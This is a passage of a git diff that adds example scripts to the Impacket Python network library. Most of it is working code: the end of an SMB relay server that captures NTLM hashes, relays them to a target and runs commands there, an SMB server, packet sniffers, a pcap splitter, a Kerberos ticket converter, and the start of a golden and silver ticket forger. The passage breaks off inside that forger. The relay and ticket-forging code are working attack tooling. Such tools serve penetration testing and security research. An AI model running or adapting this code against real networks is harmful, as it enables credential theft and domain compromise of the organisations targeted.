+                    logging.info(ntlm_hash_data['hash_string'])
+                    if self.server.getJTRdumpPath() != '':
+                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
+                                              self.server.getJTRdumpPath())
+
+                    # Target will be attacked, adding to the attacked set
+                    # If the attack fails, the doAttack thread will be responsible of removing it from the set
+                    ATTACKED_HOSTS.add(self.target)
+                    if self.runSocks is True:
+                        # Pass all the data to the socksplugins proxy
+                        protocolClient = SMBRelayClient(None, urlparse('smb://%s' % self.target))
+                        protocolClient.session = SMBConnection(existingConnection=smbClient)
+                        activeConnections.put((self.target, 445, 'SMB',
+                                               ('%s/%s' % (
+                                                   authenticateMessage['domain_name'].decode('utf-16le'),
+                                                   authenticateMessage['user_name'].decode('utf-16le'))).upper(),
+                                               protocolClient, connData))
+                        logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target)
+                        del (smbData[self.target])
+                    else:
+                        del (smbData[self.target])
+                        clientThread = doAttack(smbClient,self.exeFile,self.command)
+                        clientThread.start()
+
+
+                    # Now continue with the server
+                #############################################################
+
+                # Return status code of the authentication process.
+                errorCode = self.returnStatus
+                logging.info("Sending status code %s after authentication to %s" % (
+                ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP']))
+
+                respToken = SPNEGO_NegTokenResp()
+                # accept-completed
+                respToken['NegState'] = b'\x00'
+
+                # Status SUCCESS
+                # Let's store it in the connection data
+                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
+            else:
+                raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
+
+            respParameters['SecurityBlobLength'] = len(respToken)
+
+            respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] 
+            respData['SecurityBlob']       = respToken.getData()
+
+        else:
+            # Process Standard Security
+            respParameters = SMBSessionSetupAndXResponse_Parameters()
+            respData       = SMBSessionSetupAndXResponse_Data()
+            sessionSetupParameters = SMBSessionSetupAndX_Parameters(smbCommand['Parameters'])
+            sessionSetupData = SMBSessionSetupAndX_Data()
+            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
+            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
+            sessionSetupData.fromString(smbCommand['Data'])
+            connData['Capabilities'] = sessionSetupParameters['Capabilities']
+            #############################################################
+            # SMBRelay
+            smbClient = smbData[self.target]['SMBClient']
+            if sessionSetupData['Account'] != '':
+                clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'],
+                                                                     sessionSetupData['PrimaryDomain'],
+                                                                     sessionSetupData['AnsiPwd'],
+                                                                     sessionSetupData['UnicodePwd'])
+            else:
+                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
+                errorCode = STATUS_ACCESS_DENIED
+
+            if errorCode != STATUS_SUCCESS:
+                # Let's return what the target returned, hope the client connects back again
+                packet = NewSMBPacket()
+                packet['Flags1']  = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS
+                packet['Flags2']  = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY
+                packet['Command'] = recvPacket['Command']
+                packet['Pid']     = recvPacket['Pid']
+                packet['Tid']     = recvPacket['Tid']
+                packet['Mid']     = recvPacket['Mid']
+                packet['Uid']     = recvPacket['Uid']
+                packet['Data']    = '\x00\x00\x00'
+                packet['ErrorCode']   = errorCode >> 16
+                packet['ErrorClass']  = errorCode & 0xff
+                # Reset the UID
+                smbClient.setUid(0)
+                return None, [packet], errorCode
+                # Now continue with the server
+            else:
+                # We have a session, create a thread and do whatever we want
+                ntlm_hash_data = outputToJohnFormat(b'', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'],
+                                                    sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
+                logging.info(ntlm_hash_data['hash_string'])
+                if self.server.getJTRdumpPath() != '':
+                    writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
+                                          self.server.getJTRdumpPath())
+                # Target will be attacked, adding to the attacked set
+                # If the attack fails, the doAttack thread will be responsible of removing it from the set
+                ATTACKED_HOSTS.add(self.target)
+                if self.runSocks is True:
+                    # Pass all the data to the socksplugins proxy
+                    protocolClient = SMBRelayClient(None, urlparse('smb://%s' % self.target))
+                    protocolClient.session = SMBConnection(existingConnection=smbClient)
+                    activeConnections.put((self.target, 445, 'SMB',
+                                           ('%s/%s' % (
+                                               sessionSetupData['PrimaryDomain'],
+                                               sessionSetupData['Account'])).upper(),
+                                           protocolClient, connData))
+                    logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target)
+                    # Remove the target server from our connection list, the work is done
+                    del (smbData[self.target])
+                else:
+                    # Remove the target server from our connection list, the work is done
+                    del (smbData[self.target])
+                    clientThread = doAttack(smbClient, self.exeFile, self.command)
+                    clientThread.start()
+                # Now continue with the server
+
+
+            #############################################################
+
+            # Do the verification here, for just now we grant access
+            # TODO: Manage more UIDs for the same session
+            errorCode = self.returnStatus
+            logging.info("Sending status code %s after authentication to %s" % (
+            ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP']))
+            connData['Uid'] = 10
+            respParameters['Action'] = 0
+
+        respData['NativeOS']     = smbServer.getServerOS()
+        respData['NativeLanMan'] = smbServer.getServerOS()
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data']       = respData 
+
+        # From now on, the client can ask for other commands
+        connData['Authenticated'] = True
+        #############################################################
+        # SMBRelay
+        smbServer.setConnectionData('SMBRelay', smbData)
+        #############################################################
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    def _start(self):
+        self.server.serve_forever()
+
+    def run(self):
+        logging.info("Setting up SMB Server")
+        self._start()
+
+    def setTargets(self, targets):
+        self.target = targets 
+
+    def setExeFile(self, filename):
+        self.exeFile = filename
+
+    def setCommand(self, command):
+        self.command = command
+
+    def setSocks(self, socks):
+        self.runSocks = socks
+
+    def setReturnStatus(self, returnStatus):
+        # Specifies return status after successful relayed authentication to return
+        # to the connecting client. This comes useful when we don't want the connecting
+        # client to store successful credentials in his memory. Valid statuses:
+        # STATUS_SUCCESS - denotes that the connecting client passed valid credentials,
+        #                   which will make him store them accordingly.
+        # STATUS_ACCESS_DENIED - may occur for instance when the client is not a Domain Admin,
+        #                       and got configured Remote UAC, thus preventing connection to ADMIN$
+        # STATUS_LOGON_FAILURE - which will tell the connecting client that the passed credentials
+        #                       are invalid.
+        self.returnStatus = {
+            'success' : STATUS_SUCCESS,
+            'denied' : STATUS_ACCESS_DENIED,
+            'logon_failure' : STATUS_LOGON_FAILURE
+        }[returnStatus.lower()]
+
+    def setMode(self,mode, one_shot):
+        self.mode = mode
+        self.one_shot = one_shot
+
+    def setDomainAccount( self, machineAccount,  machineHashes, domainIp):
+        self.machineAccount = machineAccount
+        self.machineHashes = machineHashes
+        self.domainIp = domainIp
+
+# Process command-line arguments.
+if __name__ == '__main__':
+
+    RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer )
+    print(version.BANNER)
+    parser = argparse.ArgumentParser(add_help=False,
+                                     description="For every connection received, this module will try to SMB relay that "
+                                                 " connection to the target system or the original client")
+    parser.add_argument("--help", action="help", help='show this help message and exit')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    parser.add_argument('-h', action='store', metavar='HOST',
+                        help='Host to relay the credentials to, if not it will relay it back to the client')
+    parser.add_argument('-s', action='store', choices={'success', 'denied', 'logon_failure'}, default='success',
+                        help='Status to return after client performed authentication. Default: "success".')
+    parser.add_argument('-e', action='store', required=False, metavar='FILE',
+                        help='File to execute on the target system. If not specified, hashes will be dumped '
+                        '(secretsdump.py must be in the same directory)')
+    parser.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND',
+                        help='Command to execute on target system. If not specified, hashes will be dumped '
+                             '(secretsdump.py must be in the same directory)')
+    parser.add_argument('-socks', action='store_true', default=False,
+                        help='Launch a SOCKS proxy for the connection relayed')
+    parser.add_argument('-one-shot', action='store_true', default=False,
+                        help='After successful authentication, only execute the attack once for each target')
+    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
+                                                       '"%s"). If errors are detected, run chcp.com at the target, '
+                                                       'map the result with '
+                                                       'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbrelayx.py '
+                                                       'again with -codec and the corresponding codec ' % CODEC)
+    parser.add_argument('-outputfile', action='store',
+                        help='base output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2')
+    parser.add_argument('-machine-account', action='store', required=False,
+                        help='Domain machine account to use when interacting with the domain to grab a session key for '
+                             'signing, format is domain/machine_name')
+    parser.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH",
+                        help='Domain machine hashes, format is LMHASH:NTHASH')
+    parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON')
+
+    try:
+       options = parser.parse_args()
+    except Exception as e:
+       logging.error(str(e))
+       sys.exit(1)
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.codec is not None:
+        CODEC = options.codec
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+        logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
+
+
+    if options.h is not None:
+        logging.info("Running in relay mode")
+        mode = 'RELAY'
+        targetSystem = options.h
+    else:
+        logging.info("Running in reflection mode")
+        targetSystem = None
+        mode = 'REFLECTION'
+
+    exeFile = options.e
+    Command = options.c
+    returnStatus = options.s
+
+    threads = set()
+
+    if options.socks is True:
+        # Start a SOCKS proxy in the background
+        s1 = SOCKS()
+        socks_thread = Thread(target=s1.serve_forever)
+        socks_thread.daemon = True
+        socks_thread.start()
+        threads.add(socks_thread)
+
+    for server in RELAY_SERVERS:
+        s = server(options.outputfile)
+        s.setTargets(targetSystem)
+        s.setExeFile(exeFile)
+        s.setCommand(Command)
+        s.setSocks(options.socks)
+        s.setReturnStatus(returnStatus)
+        s.setMode(mode, options.one_shot)
+        if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None:
+            s.setDomainAccount( options.machine_account,  options.machine_hashes,  options.domain)
+        elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False:
+            logging.error("You must specify machine-account/hashes/domain all together!")
+            sys.exit(1)
+
+        s.start()
+        threads.add(s)
+        
+    print("")
+    logging.info("Servers started, waiting for connections")
+    while True:
+        try:
+            sys.stdin.read()
+        except KeyboardInterrupt:
+            logging.info('Quitting.. please wait')
+            if options.socks is True:
+                s1.shutdown()
+            for s in threads:
+                del(s)
+            sys.exit(1)
+        else:
+            pass
diff --git a/examples/smbserver.py b/examples/smbserver.py
new file mode 100644
index 0000000..df658a0
--- /dev/null
+++ b/examples/smbserver.py
@@ -0,0 +1,105 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Simple SMB Server example.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+import sys
+import argparse
+import logging
+
+from impacket.examples import logger
+from impacket import smbserver, version
+from impacket.ntlm import compute_lmhash, compute_nthash
+
+if __name__ == '__main__':
+
+    # Init the example's logger theme
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a "
+                                     "share specified as an argument. You need to be root in order to bind to port 445. "
+                                     "For optional authentication, it is possible to specify username and password or the NTLM hash. "
+                                     "Example: smbserver.py -comment 'My share' TMP /tmp")
+
+    parser.add_argument('shareName', action='store', help='name of the share to add')
+    parser.add_argument('sharePath', action='store', help='path of the share to add')
+    parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares')
+    parser.add_argument('-username', action="store", help='Username to authenticate clients')
+    parser.add_argument('-password', action="store", help='Password for the Username')
+    parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes for the Username, format is LMHASH:NTHASH')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface')
+    parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)')
+    parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    try:
+       options = parser.parse_args()
+    except Exception as e:
+       logging.critical(str(e))
+       sys.exit(1)
+
+    logger.init(options.ts)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    if options.comment is None:
+        comment = ''
+    else:
+        comment = options.comment
+
+    server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port))
+
+    server.addShare(options.shareName.upper(), options.sharePath, comment)
+    server.setSMB2Support(options.smb2support)
+
+    # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous
+    # connections will be allowed
+    if options.username is not None:
+        # we either need a password or hashes, if not, ask
+        if options.password is None and options.hashes is None:
+            from getpass import getpass
+            password = getpass("Password:")
+            # Let's convert to hashes
+            lmhash = compute_lmhash(password)
+            nthash = compute_nthash(password)
+        elif options.password is not None:
+            lmhash = compute_lmhash(options.password)
+            nthash = compute_nthash(options.password)
+        else:
+            lmhash, nthash = options.hashes.split(':')
+
+        server.addCredential(options.username, 0, lmhash, nthash)
+
+    # Here you can set a custom SMB challenge in hex format
+    # If empty defaults to '4141414141414141'
+    # (remember: must be 16 hex bytes long)
+    # e.g. server.setSMBChallenge('12345678abcdef00')
+    server.setSMBChallenge('')
+
+    # If you don't want log to stdout, comment the following line
+    # If you want log dumped to a file, enter the filename
+    server.setLogFile('')
+
+    # Rock and roll
+    server.start()
diff --git a/examples/sniff.py b/examples/sniff.py
new file mode 100644
index 0000000..89b559d
--- /dev/null
+++ b/examples/sniff.py
@@ -0,0 +1,108 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Simple packet sniffer.
+#
+#   This packet sniffer uses the pcap library to listen for packets in
+#   transit over the specified interface. The returned packages can be
+#   filtered according to a BPF filter (see tcpdump(3) for further
+#   information on BPF filters).
+#
+#   Note that the user might need special permissions to be able to use pcap.
+#
+# Authors:
+#   Maximiliano Caceres
+#   Javier Kohen
+#
+# Reference for:
+#   pcapy: findalldevs, open_live
+#   ImpactDecoder
+#
+
+import sys
+from threading import Thread
+import pcapy
+from pcapy import findalldevs, open_live
+
+from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder
+
+
+class DecoderThread(Thread):
+    def __init__(self, pcapObj):
+        # Query the type of the link and instantiate a decoder accordingly.
+        datalink = pcapObj.datalink()
+        if pcapy.DLT_EN10MB == datalink:
+            self.decoder = EthDecoder()
+        elif pcapy.DLT_LINUX_SLL == datalink:
+            self.decoder = LinuxSLLDecoder()
+        else:
+            raise Exception("Datalink type not supported: " % datalink)
+
+        self.pcap = pcapObj
+        Thread.__init__(self)
+
+    def run(self):
+        # Sniff ad infinitum.
+        # PacketHandler shall be invoked by pcap for every packet.
+        self.pcap.loop(0, self.packetHandler)
+
+    def packetHandler(self, hdr, data):
+        # Use the ImpactDecoder to turn the rawpacket into a hierarchy
+        # of ImpactPacket instances.
+        # Display the packet in human-readable form.
+        print(self.decoder.decode(data))
+
+
+def getInterface():
+    # Grab a list of interfaces that pcap is able to listen on.
+    # The current user will be able to listen from all returned interfaces,
+    # using open_live to open them.
+    ifs = findalldevs()
+
+    # No interfaces available, abort.
+    if 0 == len(ifs):
+        print("You don't have enough permissions to open any interface on this system.")
+        sys.exit(1)
+
+    # Only one interface available, use it.
+    elif 1 == len(ifs):
+        print('Only one interface present, defaulting to it.')
+        return ifs[0]
+
+    # Ask the user to choose an interface from the list.
+    count = 0
+    for iface in ifs:
+        print('%i - %s' % (count, iface))
+        count += 1
+    idx = int(input('Please select an interface: '))
+
+    return ifs[idx]
+
+def main(filter):
+    dev = getInterface()
+
+    # Open interface for catpuring.
+    p = open_live(dev, 1500, 0, 100)
+
+    # Set the BPF filter. See tcpdump(3).
+    p.setfilter(filter)
+
+    print("Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink()))
+
+    # Start sniffing thread and finish main thread.
+    DecoderThread(p).start()
+
+# Process command-line arguments. Take everything as a BPF filter to pass
+# onto pcap. Default to the empty filter (match all).
+filter = ''
+if len(sys.argv) > 1:
+    filter = ' '.join(sys.argv[1:])
+
+main(filter)
diff --git a/examples/sniffer.py b/examples/sniffer.py
new file mode 100644
index 0000000..248e934
--- /dev/null
+++ b/examples/sniffer.py
@@ -0,0 +1,78 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Simple packet sniffer.
+#
+#   This packet sniffer uses a raw socket to listen for packets
+#   in transit corresponding to the specified protocols.
+#
+#   Note that the user might need special permissions to be able to use
+#   raw sockets.
+#
+# Authors:
+#   Gerardo Richarte (@gerasdf)
+#   Javier Kohen
+#
+# Reference for:
+#   ImpactDecoder
+#
+
+from select import select
+import socket
+import sys
+
+from impacket import ImpactDecoder
+
+DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp')
+
+if len(sys.argv) == 1:
+    toListen = DEFAULT_PROTOCOLS
+    print("Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s <proto1> [proto2] ..." % sys.argv[0])
+else:
+    toListen = sys.argv[1:]
+
+# Open one socket for each specified protocol.
+# A special option is set on the socket so that IP headers are included with
+# the returned data.
+sockets = []
+for protocol in toListen:
+    try:
+        protocol_num = socket.getprotobyname(protocol)
+    except socket.error:
+        print("Ignoring unknown protocol:", protocol)
+        toListen.remove(protocol)
+        continue
+    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num)
+    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
+    sockets.append(s)
+
+if 0 == len(toListen):
+    print("There are no protocols available.")
+    sys.exit(0)
+
+print("Listening on protocols:", toListen)
+
+# Instantiate an IP packets decoder.
+# As all the packets include their IP header, that decoder only is enough.
+decoder = ImpactDecoder.IPDecoder()
+
+while len(sockets) > 0:
+    # Wait for an incoming packet on any socket.
+    ready = select(sockets, [], [])[0]
+    for s in ready:
+        packet = s.recvfrom(4096)[0]
+        if 0 == len(packet):
+            # Socket remotely closed. Discard it.
+            sockets.remove(s)
+            s.close()
+        else:
+            # Packet received. Decode and display it.
+            packet = decoder.decode(packet)
+            print(packet)
diff --git a/examples/split.py b/examples/split.py
new file mode 100644
index 0000000..6603ed8
--- /dev/null
+++ b/examples/split.py
@@ -0,0 +1,145 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Pcap dump splitter
+#
+#   This tools splits pcap capture files into smaller ones, one for each
+#   different TCP/IP connection found in the original.
+#
+# Authors:
+#   Alejandro D. Weil
+#   Javier Kohen
+#
+# Reference for:
+#   pcapy: open_offline, pcapdumper
+#   ImpactDecoder
+#
+
+from __future__ import division
+from __future__ import print_function
+import sys
+import pcapy
+from pcapy import open_offline
+
+from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder
+
+
+class Connection:
+    """This class can be used as a key in a dictionary to select a connection
+    given a pair of peers. Two connections are considered the same if both
+    peers are equal, despite the order in which they were passed to the
+    class constructor.
+    """
+
+    def __init__(self, p1, p2):
+        """This constructor takes two tuples, one for each peer. The first
+        element in each tuple is the IP address as a string, and the
+        second is the port as an integer.
+        """
+
+        self.p1 = p1
+        self.p2 = p2
+
+    def getFilename(self):
+        """Utility function that returns a filename composed by the IP
+        addresses and ports of both peers.
+        """
+        return '%s.%d-%s.%d.pcap'%(self.p1[0],self.p1[1],self.p2[0],self.p2[1])
+
+    def __cmp__(self, other):
+        if ((self.p1 == other.p1 and self.p2 == other.p2)
+            or (self.p1 == other.p2 and self.p2 == other.p1)):
+            return 0
+        else:
+            return -1
+
+    def __hash__(self):
+        return (hash(self.p1[0]) ^ hash(self.p1[1])
+                ^ hash(self.p2[0]) ^ hash(self.p2[1]))
+
+
+class Decoder:
+    def __init__(self, pcapObj):
+        # Query the type of the link and instantiate a decoder accordingly.
+        datalink = pcapObj.datalink()
+        if pcapy.DLT_EN10MB == datalink:
+            self.decoder = EthDecoder()
+        elif pcapy.DLT_LINUX_SLL == datalink:
+            self.decoder = LinuxSLLDecoder()
+        else:
+            raise Exception("Datalink type not supported: " % datalink)
+
+        self.pcap = pcapObj
+        self.connections = {}
+
+    def start(self):
+        # Sniff ad infinitum.
+        # PacketHandler shall be invoked by pcap for every packet.
+        self.pcap.loop(0, self.packetHandler)
+
+    def packetHandler(self, hdr, data):
+        """Handles an incoming pcap packet. This method only knows how
+        to recognize TCP/IP connections.
+        Be sure that only TCP packets are passed onto this handler (or
+        fix the code to ignore the others).
+
+        Setting r"ip proto \tcp" as part of the pcap filter expression
+        suffices, and there shouldn't be any problem combining that with
+        other expressions.
+        """
+
+        # Use the ImpactDecoder to turn the rawpacket into a hierarchy
+        # of ImpactPacket instances.
+        p = self.decoder.decode(data)
+        ip = p.child()
+        tcp = ip.child()
+
+        # Build a distinctive key for this pair of peers.
+        src = (ip.get_ip_src(), tcp.get_th_sport() )
+        dst = (ip.get_ip_dst(), tcp.get_th_dport() )
+        con = Connection(src,dst)
+
+        # If there isn't an entry associated yetwith this connection,
+        # open a new pcapdumper and create an association.
+        if ('%s%s' % (con.p1, con.p2)) not in self.connections:
+            fn = con.getFilename()
+            print("Found a new connection, storing into:", fn)
+            try:
+                dumper = self.pcap.dump_open(fn)
+            except pcapy.PcapError:
+                print("Can't write packet to:", fn)
+                return
+            self.connections['%s%s' % (con.p1, con.p2)] = dumper
+
+        # Write the packet to the corresponding file.
+        self.connections['%s%s' % (con.p1, con.p2)].dump(hdr, data)
+
+
+
+def main(filename):
+    # Open file
+    p = open_offline(filename)
+
+    # At the moment the callback only accepts TCP/IP packets.
+    p.setfilter(r'ip proto \tcp')
+
+    print("Reading from %s: linktype=%d" % (filename, p.datalink()))
+
+    # Start decoding process.
+    Decoder(p).start()
+
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    if len(sys.argv) <= 1:
+        print("Usage: %s <filename>" % sys.argv[0])
+        sys.exit(1)
+
+    main(sys.argv[1])
diff --git a/examples/ticketConverter.py b/examples/ticketConverter.py
new file mode 100644
index 0000000..f0fac41
--- /dev/null
+++ b/examples/ticketConverter.py
@@ -0,0 +1,82 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   This script will convert kirbi files (commonly used by mimikatz) into ccache files used by impacket,
+#   and vice versa.
+#
+#   Examples:
+#       ./ticket_converter.py admin.ccache admin.kirbi
+#       ./ticket_converter.py admin.kirbi admin.ccache
+#
+# Author:
+#   Zer1t0 (https://github.com/Zer1t0)
+#
+# References:
+#   - https://tools.ietf.org/html/rfc4120
+#   - http://web.mit.edu/KERBEROS/krb5-devel/doc/formats/ccache_file_format.html
+#   - https://github.com/gentilkiwi/kekeo
+#   - https://github.com/rvazarkar/KrbCredExport
+#
+
+import argparse
+import struct
+
+from impacket import version
+from impacket.krb5.ccache import CCache
+
+
+def parse_args():
+    parser = argparse.ArgumentParser()
+    parser.add_argument('input_file', help="File in kirbi (KRB-CRED) or ccache format")
+    parser.add_argument('output_file', help="Output file")
+    return parser.parse_args()
+
+
+def main():
+    print(version.BANNER)
+
+    args = parse_args()
+
+    if is_kirbi_file(args.input_file):
+        print('[*] converting kirbi to ccache...')
+        convert_kirbi_to_ccache(args.input_file, args.output_file)
+        print('[+] done')
+    elif is_ccache_file(args.input_file):
+        print('[*] converting ccache to kirbi...')
+        convert_ccache_to_kirbi(args.input_file, args.output_file)
+        print('[+] done')
+    else:
+        print('[X] unknown file format')
+
+
+def is_kirbi_file(filename):
+    with open(filename, 'rb') as fi:
+        fileid = struct.unpack(">B", fi.read(1))[0]
+    return fileid == 0x76
+
+
+def is_ccache_file(filename):
+    with open(filename, 'rb') as fi:
+        fileid = struct.unpack(">B", fi.read(1))[0]
+    return fileid == 0x5
+
+
+def convert_kirbi_to_ccache(input_filename, output_filename):
+    ccache = CCache.loadKirbiFile(input_filename)
+    ccache.saveFile(output_filename)
+
+
+def convert_ccache_to_kirbi(input_filename, output_filename):
+    ccache = CCache.loadFile(input_filename)
+    ccache.saveKirbiFile(output_filename)
+
+
+if __name__ == '__main__':
+    main()
diff --git a/examples/ticketer.py b/examples/ticketer.py
new file mode 100644
index 0000000..c7d8422
--- /dev/null
+++ b/examples/ticketer.py
@@ -0,0 +1,819 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC)
+#   allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the
+#   groups, extrasids, etc.
+#   Tickets duration is fixed to 10 years from now (although you can manually change it)
+#
+#   Examples:
+#       ./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser
+#
+#       will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.
+#       If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256
+#       (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as
+#       baduser.ccache.
+#
+#       ./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain <your domain FQDN>
+#                     -request -user <a valid domain user> -password <valid domain user's password> baduser
+#
+#       will first authenticate against the KDC (using -user/-password) and get a TGT that will be used
+#       as template for customization. Whatever encryption algorithms used on that ticket will be honored,
+#       hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser' and saved
+#       as baduser.ccache.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# References:
+#   - Original presentation at BlackHat USA 2014 by @gentilkiwi and @passingthehash:
+#     (https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it)
+#   - Original implementation by Benjamin Delpy (@gentilkiwi) in mimikatz
+#     (https://github.com/gentilkiwi/mimikatz)
+#
+# ToDo:
+#   [X] Silver tickets still not implemented - DONE by @machosec and fixes by @br4nsh
+#   [ ] When -request is specified, we could ask for a user2user ticket and also populate the received PAC
+#
+
+from __future__ import division
+from __future__ import print_function
+import argparse
+import datetime
+import logging
+import random
+import string
+import sys
+from calendar import timegm
+from time import strptime
+from binascii import unhexlify
+
+from pyasn1.codec.der import encoder, decoder
+from pyasn1.type.univ import noValue
+
+from impacket import version
+from impacket.dcerpc.v5.dtypes import RPC_SID
+from impacket.dcerpc.v5.ndr import NDRULONG
+from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \
+    SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD
+from impacket.examples import logger
+from impacket.krb5.asn1 import AS_REP, TGS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart, EncTGSRepPart
+from impacket.krb5.constants import ApplicationTagNumbers, PreAuthenticationDataTypes, EncryptionTypes, \
+    PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \
+    KERB_NON_KERB_CKSUM_SALT
+from impacket.krb5.keytab import Keytab
+from impacket.krb5.crypto import Key, _enctype_table
+from impacket.krb5.crypto import _checksum_table, Enctype
+from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \
+    PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \
+    VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO
+from impacket.krb5.types import KerberosTime, Principal
+from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
+
+
+class TICKETER:
+    def __init__(self, target, password, domain, options):
+        self.__password = password
+        self.__target = target
+        self.__domain = domain
+        self.__options = options
+        if options.spn:
+            spn = options.spn.split('/')
